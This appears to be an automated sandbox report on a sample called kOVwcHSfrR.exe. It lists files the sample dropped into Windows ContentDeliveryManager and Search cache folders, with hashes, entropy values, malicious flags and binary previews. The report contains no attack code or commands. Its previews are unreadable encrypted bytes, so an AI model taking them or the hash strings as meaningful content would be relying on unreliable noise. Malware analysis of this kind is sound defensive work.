C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\a58a5a01-c8e8-46a7-adab-33a3c728c70b.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.766805551709345
Encrypted:	false
SSDEEP:	12:kMnlFdm+kk50u+Dx3S9ijLOoE6H0mJP745KIeAlgHcBh5khLHSg2dD08sGoqw1cq:lo+kkmxiQ3Y6ZJjAycBh5k8PD0LWw1bD
MD5:	5BE4E82A99EF20E38EA00DE73590E406
SHA1:	808C738D377013377CA4A2C2E005592BDCFD2345
SHA-256:	3C9EA02D938572DCE500F1C1BA6364FCEFFA4A35BB5AAC1592AFE8A05FD8CBA2
SHA-512:	6B13338EF21919E5DBA4C85EC919DC7880F006A0CBCB1EFFB38278F1385D79EB67523E494A0E136ED03DC86365E57519FC47DF165DC05291ADD056BFB4E7DC49
Malicious:	false
Preview:	.....:.... .n.5....J....d...N...r..U.?....$...G..L..../.RT..n..9.....}C...M^^..(...D..z...B\..7&)......H"...:,...H....>M'\|......D.;.NQ!I9....\................Z-.!@....o.<..c.U. 6N..#..8.m....u.........W......K._5..&...Tt.~....,j....%(.W.f....f.....Qm....@.rh,..t.0...K../..R.lS.[..^r.]. ........2....p..............=]...b9..$.d.ov.t.,...x....M.!..[h..C..H..[....S.p..JY.#....K..Q^.-..ed+g.?..P..\|....-.:.u3.S?.B#.^.^...O.9%U.`.@\|.._d......:9..h.J+F.gnY.z.z'.bmO...F..!...r.\.0..@..D.. ...D....LB.....UK.L..t......8.84..P.`..9.Re..y%.V..:..c;X..f..'Ev{.N...{I...s...j66..s..M..(..r..).q=_q..py.}fw%S...._..P.......a.e_.XEO....`E..M..>`R..G...?..r.....1(O`.P...QG..h..u.j..C..Q...A.wXj....M.?)E.....$F>..f.....N4_..C?.O.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c91095ac-7668-4a52-8c36-25c7b994d21b.ad5775b4-6560-4668-8e1b-94717dd1a552.down_meta

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	7.897188069327193
Encrypted:	false
SSDEEP:	24:ITUTW1ET8m8tdfGTLV8BuvllBLO4R8J+zUvUz7WlzurbnYXCP+zzVW6VUUvH/QLX:2EwmV16szCUzKYY1zzkrYsaWjyUEyD
MD5:	09968CA04A0113042A243351B70A1C72
SHA1:	1898D562CE81050488EE85F4FFF66F7AC3429085
SHA-256:	6A8C48498DDD15B32C54AE0B9DD10721A58DB38010AAE21E91E0AFFA5F7B6C47
SHA-512:	4E3CEEAF17DC63D753EA8669DE461BE51D607495796BA328C20E57F9923D5AFBBB7B1522DC1B5DD8BFD4447E6347CB5E9CBFF1D2527F8E360FC3A3DD63C82058
Malicious:	false
Preview:	h.t.t.!......J......VOt@.............).0.X.E.U.Q.R....]..Xc..4.)z.b&...."._6KC.t....l.~.....gz.....'.i.5p...i......Z...E..!8.Y.!..9.%.q.)...6.'....E..7ug.".7....C...%.^j.6[.Y..E.q. .7./............p..es\.V.....0@.W.n....U........b..PK'$I..>Nn.3}_._......~)..3.o.I...".U....v..^'\.R.....h.G..1...7F"P_.cT...w].p.....O .'...'..n..........0.6@.I....].mQ..@...`>r....=.\-S0..l.>">1.=K.Cu..P.-`?..MK..T.8jb......]I. .k....."....2....Y.i.{.C.<....&..........C...-..`j.,. ..DAo..._....ow..%@\.0...Y........1j..y3c8?..A...G.t2t...G.[.j.l.o...6.EUH.}..;...[..........^..Nq....Dr.....p......C.O..$..,:(..).....Q.....c.....T.?.<.9.].?..4......A0!.).#EUg.......M.....B.R.U.x.y.s..k..?:.F..Ilr..?H..-.}.@w.........v..J.......q..LB..P..\&.X.A2.38..h...i.!.t.3..k]..V..B6...............`.gc.?..9c.+.#..Q3....:..`.mT'.M0W..im..g...9..;7>.(.f....w0..`..H.G@..@.....R_.$..'."e\|....U.7.6\|.t...3..{.}.(.v..{.d..o..@6Z5<..-.mQN......+\~Z.....oZ.....h.O

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c91095ac-7668-4a52-8c36-25c7b994d21b.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.706915751003405
Encrypted:	false
SSDEEP:	24:u3HrMByOpG03Y0CtppsselP7oa/twnXDNZEudm8w1bD:6HrMd7ypefOnX5O/8yD
MD5:	F40ED3498577591D7EDE4FD506C991FB
SHA1:	98006DF4FDFD62B41FCA9D5748B384E7419BF39E
SHA-256:	9001CE0D35F6AB3B478C1513FBE46715927560B46262585EC6FD47CC0E8A5274
SHA-512:	C0C3DAAE890D345A4B597224EFE2304FFF872AC3D4001F3A71447A82D1CA49C2AC6E6F83ABB07A0201C5C0642B8BA2C7D826DD33EBC6B6EEA9E0F6B4B1141EB1
Malicious:	false
Preview:	.....N.z....X7..B..G....Nr~.r.}Kib\|.(J....PF..F..>.xauP.........x.W.3.....!f._Ig.v.....l4.c.6...h....Z4.."... c.....8.G&..HH.$..&.QR.3..Gz.?......d..E..E..q..ce7{...09...db.:.....>T.2$8g...[9...haf_&...5W"...O.8..C..m......X..R..f..K-.3..h.L..i..c.)..5...7.Wt.];].=....=B.....s@:...x<.._..V.S7.:..7{.:.-.q..;..4.....}..1.:#9dN...1.=..).E..N..2v.>?2.c..Z.a.M[...=3.....T..,.Bd..."..-....../.....p.f.....`.D........!%.....D.~X:l.......+..N/.?B..5>2..*..E..z...E..N.....~n...=y?.....^W..y...R.r.w.w=....z...y..r...30............!..Z.IE..]E....@veKt.P..?k.!......\|..n>.E..+.E...V7.x]4.a#s:..F.O...`.<.,.S.r.}n.D.......i.......i0%....1:_...M.8u..ZI.>.....D.......$kv.<h....553\|F...Pa..3...f.O.f.e..n..D0h2X..1.N.<..f..e-,...I.rTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ce95f264-8e0d-4935-b53d-eb7726bb2290.c29ab275-f0db-442e-90c6-e979ba0230de.down_meta

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	7.893955462903251
Encrypted:	false
SSDEEP:	48:OnK+bA2lT9dlkPe3KEFu/gh/QmaLeZXQPrpEDimkwyD:CTb7seMgBO+oFfAa
MD5:	26BA1E3EDF4425E36A85D874930D3169
SHA1:	03F887CBFE32EAA76707EEFAC4152FE858CD4AB4
SHA-256:	3D6E511A1D8CBA863417E77B448B78B4C9832395B9A69BFB0B990ACC314395D5
SHA-512:	8CD3515E272FDB445EF2F68F9AACBD6BCC61449E76C08254EC19E36F188250FAA5315FEA74F2B3CA33B2953A00D9079F8CEF5641B2838940E9382C1841C09B91
Malicious:	false
Preview:	h.t.t..yv.g.Q..I..F.$qtGbf.i.V....0F<Y.....tj.:..&..z@X....P.........o8@..Z..{....(..W..0~.@.....F...p1....5.f..O..).X..Za....A.f.L.\.m.;.......R&f...3.tf....@......'C.=.#"..5.F...=...R.p..o....0......p..~...X/....H..8..Q..O..JX.7..O{....^vd.. &"\|$...:.]....l..N'.p).T./...h.ME.>Q....:U... .m...G..7T5d...M.......v...6j._B!..D.t..+..j0....}...u..6...Y]....q..l~.d.6.....ou$]...+.+...sw......Q...j...P&a..-5....I...KM...n]T..@.._...X..... ..:....Y..cg...<3........i H_.,.....T..t..\|...c.>e. .=..Jn#.6.)...5...)..[..d.=.....%.By..`..]..9v.U^..r.6E.......).z.>....}.0..D.i......k7...r.;....W...^.Je..68"z.&.d.>j..%......r..b.6d.%.}...3J.dLM..;z...P3..(j....X....),"Qh./.<$o6X. .?...4h/.H.E..8w5..... ....:.{(4....O...4/..`.r.NL.Q.\..=.\|..6.J...(.b..l..!4.#.e.o@(+{.e.h..J...O=..Z.6...tF.f.i.v.K..:.....}...o@[..g..@.]..Zo.S8(>x.>.s...>...+n........l^.....R..mK@=........d.%D.1n.:...A../..ki..........c.3l_D..*OSP}.+...R0...2_..3.:Ha.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ce95f264-8e0d-4935-b53d-eb7726bb2290.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.727277978265232
Encrypted:	false
SSDEEP:	12:j8mO8S2Q0v5qqE9kRhKuxLTD37SQM/YhPjh9KdvO4p5+a+dCvfeN4oHoqw1cii9a:VO83Tvgw7NM/YhPdKvFB+kIZw1bD
MD5:	20658E6814FCB8ACEBA16119A44F99E6
SHA1:	78A3BEB4C8C9DC0B343EA0ED776AE15CCBDE7858
SHA-256:	4D421C0ED6881093FE786ABF9C3248739548D8382BE1D45F1824E90D8BE9E472
SHA-512:	100EB9A12BBDCBB8146E44635A92A7C35A8D73EF383ED9DEA1E051EFD0916BB5ECF7134F141A829F6DD4EC7FAF0FBED43C19464E55682240AF6ADD0D194FAEBF
Malicious:	false
Preview:	.....W..Cm.I+....d.._h.T4.6......D..kx.N.X..<..-...5.p.c..D...a.......b.....Y...9%N...D..(.- N..V.=9.%'..y.....A'us.NSb.$..~.$...<...R.^.....Kk.Yo]..........b&.G.s.J._.....!..\.b........s.....r..4..<../....,...3.!...:S.v..r..G..J.H=..I...Hd/... .....a....qm.4lA.f7YJ...K.bR..z.k..+%U..6RoA..$..C'...e}p0f..[...w.".7}.a......8.....3..6,...Q(8....{YV..l...'..x.Lc3&..#B.%.#F.....T.,,....1F..r...p3.....P.M..?F..H..i..(^[.....-..........P:"...X..@.Q8$a.5....nQ.-g...?.FC..i..0.n.Z.......?H...6Z&........../..o..8.....k.~.$......_.ph.t.\|WE%d...R)...N.Rz.....m.......9..$0$...)d...70h.h..P...4.y?.....A...I...ru..H.....7X..g.qJ.\....Z..;...q.....HFtIq\|@.rt....z.M..z(B.J......4...6......o..j..M.:.-M.m....8.j..`..G.m...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fd6d96ae-4441-435a-8d71-39f67c86eea2.d4286a06-249c-42f9-b38e-168ab068ebdf.down_meta

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	7.902059573383276
Encrypted:	false
SSDEEP:	48:amI+wFwOWI5sSIEZN5qXbskj5/PIYnISb6Vf/yaJzqdyD:7TIp9eoE/QIIf5aaREa
MD5:	C3FD0C4DD1DD0CAF101CAC7149869113
SHA1:	FFA0CCAA971E7B3162FC0E7AF29297E296F1AB7D
SHA-256:	77CAD970D55F3FD36E04C41B1C231C2847AB778EF306575761AF116A0FD08D38
SHA-512:	22680C026D1431EC7AE6FA8287D9A6FAAD5DE857D882F1FDDB523FD0AC891C36B185DFD95BB561484743943BB23090689F17594FABA20880DDE113BAFAA9A9FE
Malicious:	false
Preview:	h.t.tl>.{...R......`~....4..g.#K\|.}.y..qa ..4\&2H..P.)..j.......[uf.II....Z. ...:D...U...s.i...2...MU.. ...l/5........?J..@..Eu...EW..i.il$9......8`.y..#..;\A.F..o.P....$.voI.h0......B.CI..!kO2I.J.........}..?..o{...K.B..........7.Ot..<....63..<)RH.T._uZ...9...As.L(.T"o...@.<p.\9o.D7....b./.P.mvC._h..Q5.........K;.bE..O......0..".~..wb@.h...3...Gt.&.}>s....'.......$!Tj..M.=...K..-..r.)b..>.E._.Gy_.L......P..8.u.D.....O#".u....K...b\-.._q...w..U..<l.!........~.....^...3H.Q0......B#...0.y....g.G-y...=K...dq.3..\|."AkY...o.....v..g..i....h.G..F..T.Ol.c[v.zM..G.:....I..d.<....^.W.WhR...V......s.A`..J.b...3.....J....a/..........z]P..X-<..K..b..R0........\|...>.........F....I..:.q.k,:=..E!...2C.G.,.....b.WN...S`j.#.`g.\|y#.)........W.pj....Bk0NH>.."i.$*...1Q..G..(.ap..........V...y..j..R6_..C...7..P.h.I..!V0J..P.T.Xs@...A.B.0)v1......p....1...,.t.k..".$.z...J..Wr....&.(.j9..>"........m.apG.x........w.. ...I8..\|>...e..YH..r.6V^..}2..B8...]}.O.i...GVW[.7

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fd6d96ae-4441-435a-8d71-39f67c86eea2.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.706403532390716
Encrypted:	false
SSDEEP:	24:ri6+3E5azgPjFdeLV1dNO1/KCfh97mrMbw1bD:rijE5nandwBrsMbyD
MD5:	2489B1C3FB1B7EC2889180338F0F58ED
SHA1:	9E8CDC49E3C71FC318A0B89AC2FD2D8EC312E963
SHA-256:	4D845CA58ECC367D28386BC09CCB4CAE926458628EEF0F00A3293C7C888A1CB2
SHA-512:	F2287C9B22303841127A51C24228AEA5904C3F69D268F947574B67DDB0EF0AA7B999D290497B003C07F51D584FB34F4F8D579FEC3A7E1583BC66D77442D8A0C7
Malicious:	false
Preview:	......by.=?H8.....0..i.(.u...!..4..7?j.Y.Y...,...+.%.Q..r).....N....8.K.....)...6.a.0.3......5l...V.$..).Te...N...........A...M...$....I...nI88...V.Y..T..a4.3..2...o....^....r.}.U.....'.}kq.u...B....So..V66.....p.}.T...2.r.x..].v.,\..j.,...d{...[`.&+%uS........MpN...>!..@}c..=.7%o.].#......^..0G...h..y...v\..Q.......v..T...$..;)UX....a.$..w...-.4......5.j12....1....UgK)/2.,jE.t...B.....Zq.G....3...6...K!..Xe8V.A..YpN......lj.Yq..kA[..s.X...i..\|.O....1.x..D...Dg.x..\.&tpVdh.._.45Z.....F@.JA.4YJ.p0C.m(..Y.H\...u...]5..`._..XA.`p..U....i....l#).+..a.an....E.-.....EZ.p`..n.x.k&.}.0....u..a...T.....=...k.%..p#mt+N0......._s.....D.'8.S5.VB.....t.1.W...-.4..^4.&B...g}U.....t...;....;`..2..2Q..........CA...U.uTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\310091\eventbeacons.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2734
Entropy (8bit):	7.932514220004804
Encrypted:	false
SSDEEP:	48:QaJlQCKtHXhfR8P68B1/aPCkzqSPY8q+GKB9MePrTr/0Wejk718Xc27/yD:QSuCKtHXhZZ8BhqXzqSP6+G49Me/r/0u
MD5:	AE870617E79C3F6B730ADA5B9C9DC90A
SHA1:	6EF4F609C5A3F036691200302569E424EA61042D
SHA-256:	66A00D42C289F6B03A5DCF3D86F8BA21E9569BAC016C533F350C3C45BF95DE84
SHA-512:	8C6D6B52753FEABB663686128065297239B6D26A997F5A3825127EC0C5A8D4553DBAD4B36EBBAB8F0578ADC197D5B36C1CF3FC36D0BF4033344E35C50EAB7DC9
Malicious:	false
Preview:	httpsr...}I..'...+...K.@..U.$`.T[..l0.d\| ..kU..\|..&C...)..Yi....x.....)F.....b....{=..z5.G...l).nO(D.DdC.z...f.e..i...-.${.%. =.5...=....>=...CL?..fc....Z.....M.L.....@..MD.Q..)....Nq..P...r...s..f.......%.,E<.j....z.Pf..As...N.Xx\|H...X..X....@...i:......].3..7b@&.w.....l ..)C....5..;...b.`..(.K...r.X.D.^.xT.Q...T......r.d.a~1)...aj....h=.......K3F..u......H...-..F....\r..Gr."..i....(z.h.[BH.....2.QV^D."...3P..-~w.....i[.........].:..j-V..{..g)..L<.. ..FLYm9...(HL0~}.d..Nw.{x..J......=.C.U$i.S.h.~m...WPq...~......."..(.8...pL.W.}.t...y[....-'uDx..]...H/.X.w..p..h.aE-qk.~.1.(n..)..?U...0.'t.d..k.....{....Rf....B.y..1..Z.+d....IK,..+.~...U...D9...@..U.a....kX...L....j.....z...2..La.d..p...j........H...h.V'2f.)...,.].KQaw.?...,}...l&...Ym?......]N...<.0.@.-...s\|>9.....K.S....X...gk.u;....M..,S...s.MX.....S...W....>.".E.._....1w.....~Th....$.Lx&..s.Y..pX...\.Jz..q..%...F.......<=.b..[...*q.u.6{..._8.3.L=...KC.4Q.A....:.".~...<.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\-U2ww19iycr3M_DiD25JdVUDdqk.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	91794
Entropy (8bit):	7.9979695599587775
Encrypted:	true
SSDEEP:	1536:fC0FxnEU0a5BHsQmwGUPrB/xE6wFAqQ7RQBhMhMjAJuAyzRVFFthhNWphH9N:fz2TsMQmwNDpjRQBhmXyDvkH9N
MD5:	FF6D6E81D5BA5DE77B07870F065260FF
SHA1:	C367C78762BDDECBF493D175E75A089C4B50016C
SHA-256:	ADA26B86317A3124D0857475216814FD3714842960EC0B4E62AB2CA9372B4D7D
SHA-512:	ABFC69CE7EF276F75670E541A510E59D99837DA6A33E90548032FE06B0E25B3C34EF3F41604465AC5C6C927531E27D10C8CFE60BBA295124E4C58691CAC67C85
Malicious:	true
Preview:	var WZ....,.w.. ..bO0.[...k.+.f..x.N....G..oav..c.m.....c..)!.....d...h...~ \|o:.m...I.^.\a;...T.,p...l.O...x~LhtD{..Q.Y.i.X.%t).I..,e.a+.....].a.....8..QrI.......h.Q...[..7.8........(.h.B....o..&.VG.].......I<..mS...(.m......../.n.b..*.-....5.N.....$.z.............0..~.R...u.>>N;...\|;c...9....q.u....'.1...?P.>.<.......Z.a....4..`.$.9...M..R.<...WC..X\|H."..k......\..{.%......7.'n#.....$dR..O..=.Gx..gGnh.F...@s.5...C.\|T..../?Gd............N].....!'...eYs...{8..7.A.7.]m.......2"w...hY.,.>........u.9.t..Z..R.5.7.4...X^....(9N5..#.m.d$..0ErH....Fi@(zx.<..db..z..=.b..'..k.&....&...;.......5.bH.6....c?p........=.g.....X.H..Z....?..g.4! EJq..7b...3.........z...D.....i...G..H.?\|).i.a.7...W.Z.at3... ...-.Y.v...D.Zt.b@..b....V{!..MD....o+._...-Bb.Q.....#.....p.5.v.._Ap..6..7G...X..... =0.!.o.......N.&..K.W.D..~....B!...R{v.oO...i...C6.5.w..........W,.X....=.........3D....`..e....3....[.zS.+F:4...S(...a..S...K.$&.9..x.D.H..............1.[..o

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\1dU-gngnSbFHyDXzxcnjLbIIJkA.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	15202
Entropy (8bit):	7.986518053698347
Encrypted:	false
SSDEEP:	384:8hZpzxOvSOb5YBysrLMCp+5EgB7c0IDNRJdPYktS:WZpxOrYBysrLNQ5EgWj5RJdPO
MD5:	BE04D3942AE5DAEC09C55FA9A6FA300A
SHA1:	B7AC7B6F68C110DDF9D3EE8F2973925A5BD80627
SHA-256:	6A2E6ED79A9A0747E33670811F3FE48409F5AF70725004381B8EC5C4A54CC28C
SHA-512:	1F941EAC1DB006197C02442BAEAF8A32FADDA17D66E2EEA3BED2A5569511F10C0FDB83A69F91B33D6F737C8F9CCC089E27DAA9BD703C24223ED9056EB20A9E6B
Malicious:	false
Preview:	var W....W..P.f....._.C...V..X...fT.G..0...xV+.R1=..z`h......u.......,.LL...^_.p.S).m8mf.O.z\.0.H36(..).U........&K:m..r..0......\|#2.7I.\|..m..v...3..6.e.......F........R.uK........X...DT.9..;......c..c3.+.y[ .K.......{..&.q...w...:..L.B<...Pw..E:.:...4k(.L{..e....`...X...X.....%_ET.e..)..{_>.8.>=..U.k.....;.i...Xt...E3.M~u..R........Y.k.9.......`G'q.{i.CZ...'?.9b.3Lt...7...(.C7...I.....6d.':.e...!.c...........%b....B.-.,..7......j.Q0.C.!@c.J...+..-]!.\|{}H.B4\_..z\...%..ng.!..-$..j..M.j./...x...I.P..rv..+.....?OV..F#?z[.....h.1..M.Ax.x(]..$...b}F.=...iH.pM...}._......\.-...."..l$.^.c.01<..E.........qwRxG1J.>.k@..7D,.&...r'....y.a..qr.....,o......6..D.5.._x(......p<A..G....:..q`;r..l.K.'.(..r..J..m..1.....f..t.L......6..=...f#....}...3T=...c..(O.>.^.?$..!..-./.........D..G..maA.Im..V...........2.[Q.v.vV.P..GI".......\...z...-H#.i...0.^ND..U.?....]T...?[].....Ec....7T].....R..Y?.<.t..p../.2..R.....~....8<H.x......s:...O)jt...M.Dyr...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\4BpQ1bD8vX1mXuJObN-gg9RqkyQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1284
Entropy (8bit):	7.821700337345443
Encrypted:	false
SSDEEP:	24:7MuGHkLW+vZ8CerodBCP53pRbfCYPRffAByE8WpGFWLUrs1VL2Zy3pw1bD:ouGHkLHxfecnCx3pRfPdAByE84LUrG2r
MD5:	514DD4213FD16860BE0B3ACD3047E5B1
SHA1:	C85E9CFFBA63A46CB394DFBAA0948B50FDFB0252
SHA-256:	6AF7DC7678A8B3A11A40A88D983AA3DA551135DCDBC7303AC47F6431207AAEC8
SHA-512:	AA98AB221F54DC9AABC5A1E1E867C4D473D907ED4DAE4D222B20EA98B62B1BB05167B1099EFDDE19ABACFE0C834CBA4D458C492D464713C90B23BE78B17CB060
Malicious:	false
Preview:	var W&.0_z.{..C.......vFG.......o<..\J.l>...&SO.1..........7...?....j.a,..8......c(...8#!-...i.q.j5..!Q.o%G'....7.h5..VA.S..=...t...-..d..../......."q.....'.Vr..!.G&V.6s#...n....b\|..RU.....5'...."...5u.a?G.rO!y..O.....l....nr...u..O....y.{..9q..:M[M?..GA......b4....Anq...]\Z8.......@.?...0.....3..O...d...vuwd...h..K6..H..T...U.U6..S..;.4......L......rN.......,.g..............0.2.C..5...\i...n0./....KHd.w.(....}.l.ab.{H.:....J".}U.).gC3F$...t.AG....o.rr.`..........&....[..t..;....?.,).37.B..i...?.=.i&.........E..X....$).>QUZ./J.&.....s.M...)z...<9CdA....&........Z.....EE...5W....q./.....U....x..DA..4........A.('zoJP).0..5O.5..\.N<...U....t~`.C.....Q...n.......r....G..A.7.BWL..xO.I.v..K..$OI.j.g[....^.;.s.B...xPCA.aJy.(@N.......<.F.w..6W^z>oPc......s.#..3.&.p.}~...-.'...5.Y.....HH....Xb.'wB......<.....N...NJ..M.tx)D...\.~.8[..<V$R.h...~.....lS(#..?j...E,^7Dh..B.^]...q.R'..N...{.N........BXk....aU...w..a....i..G.r.5...^../H.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	45781
Entropy (8bit):	7.996007168654794
Encrypted:	true
SSDEEP:	768:m+tEkjYVdovtmog0eCalcHELNyP6IUQ8NqbgSaONq0OXnIt4vfWs3BR6Fr:hthjYVd2gyUckLN4UQiUaKq0OXnlZRgt
MD5:	047AE9BE2F63133786DB3B07874C874A
SHA1:	AB611B948A20D0261086FD39558D4E1DBCFEF9EA
SHA-256:	C99DB5C74770A88738F8076918A2E0C25AA60DABC80938C9FF4058A918F7D333
SHA-512:	B0467C25D638BB6AA9FFA948F845E4BD78B91E9E404625A566DFD37BB264BF87939CEE2DE77A6309A326DDE4039DE30484CD85DCD5A4CC7FB55FB19AE3DC912C
Malicious:	true
Preview:	var WO.;../6cZ.K.8p...oY..HIRj(..Y/....K.K...&..L..CDA..!.n.....9%...n..E..B.Tcg......l%++....Z.a..DDp"..~J..bl.M~v.>..............+..F.. .)..}_-..Y.y.0A....E.5.....O.~\|<j..I.@8.[.ZY..B..;Z..w...R.%1..gP...^...h..K0........}:z.S.}./.sa.\|m8^J$3..\..g7g...eG...;]:........>.N.@5..H.......G;...m.:.g...?H..Wj.p3.\.B-...J.....S_I..99....W..-Y.z..h.n:,/$... ..f...u.L.N...=uS..]3F....H.../....H.wS.Kk..ol...I.......m.9.....'.Y,.UG..d..].(.ra......F.zZ.C..x..J.]..~..>.@...Ku..6U..^A...w.T#..5.k$W.z.G.L.8.#.....9E......HGj.y....w.c.p.5.`n$.c......u.r.\.%..R$.).e.r.k+...F.^.uUd.........Ko.=.d.i.e...")~...-....O...&'j..OW.."..........;Q......%..R.`)...k..A/.....t..4L.-..x.l._.......D.{Wp.e).nd..53.(.Q. ..0.x..&Zrg.......f...B..f..`....+....s[.0.\GWA.).>dk.......m.../......CTw.1..F.....b..h......\|.d..2.:..J.3.q.....z....,..;.m..c{.QiP$2.......I....X.`...G.z\|...@'.q";.%_..C.p.[O.._.Z[..%....$..Mq........'.X......6....\.q..JrS."-.{....;..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\58urCM4ERwTmgZF8atjxpMnY4I4.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	349229
Entropy (8bit):	7.128515500953208
Encrypted:	false
SSDEEP:	6144:C1QjTn56IdhpM637NIcWCKCsqoWU7FF8uMkzhbwnf0NPC8Qib3fb7hWjHl:C1K1/dPM637NVEXqqRF8uGik
MD5:	47EEFA6DCFAF4EA1641B0AE1F64CCF7D
SHA1:	01D14426E1005EC23069CCFF2429CC9F39006BDB
SHA-256:	32D11248B2E8EA8C13E12DD1A166E4590C0200133D456BD6003A403259145DED
SHA-512:	99589468AE875B8FEE858FBAB194446DA0CB2243FCA0A4A39972091C5FB9982BD7DC3466C281EFB8A3090687C23E38339E27CD1DFDA39E4620D092498CB91BFB
Malicious:	false
Preview:	var W..GO.ei......(..^j.#.iu).>Ac.I.....5S.<.c.>z.9!<.#.$1.....@....hH>r.az........p.y3....._........+0..3.......A..R..i........$.X.6.`..,...B.ID9yMi.wL..G_/.WD;.....o..g.'..6vO...Uh....;..._.a...P";..{..]<.>..cj........R....f.i....[1.~(k*.'D....5Q)........x......pM..>H.,-.........q.:....N.i.".Ln%..=h\..N........P'd...[...T7WD....@Z.Eo..kq..Rr...8A.t..J@l\il.8.....~#BS.....q0.@.k.q..xij..{@..7...PE.XH..K.y.]I.S..B.f~...Z.....:u...3W....L....w]..q.X..J)XCJ.?7.....;o.i5.Py)...u..j._..2m..R..M..Q...ID..f...&t....\|.E.f..Zk3d.....h49..R.f......x'..t3.uH.=.f].Fe2w]..zf.&.9......v...B.]....1.{..^6...M......X.....wJ/...g......=..V.....o..I6..s......n"..-G...Yx..TB.YZPa....U....;c.....;!PV.]Y'v.....MiR,...JR....'.C.....i.p+a.0..T..<....~......(6G...........zNtJ0...C..>4I.\|..5...8..$M;..u+../T..bg..o.Ud.g......v........k...(..&..XS3..._j]..........D..........]7..\@.../(.H..r....[.z..$.p..%..k..1..W.......8y.d.Q....Z..v..(n.pc..8....y=m=..`..G.^...=%..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\5_KhThI0onehz_-3sl58j0dOeLI.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	127792
Entropy (8bit):	7.998708919737019
Encrypted:	true
SSDEEP:	3072:X0SwtwxSxrGVNlaqm1xYskQiJetrgT+vZjMy:X0PxrNqm1xYskQiItr6+qy
MD5:	2CE58A2DC66055D093DAE0A015C865D8
SHA1:	69677FCF56B22F718AFD62D5EA1DD945C8A1FCC1
SHA-256:	DF6CFAC110505A5ADD82E9454A533163D5DBFEBC877F6E8D40D7A6FD2E8757B5
SHA-512:	5C5F5F8DEAA550D37F25800E950D38D0705BB2660C45B10858E76E13D12CC6B7093C45BE0242EF413023BF32D4D8B23BD651DEF7EC046C842ED7D591620C8F0D
Malicious:	true
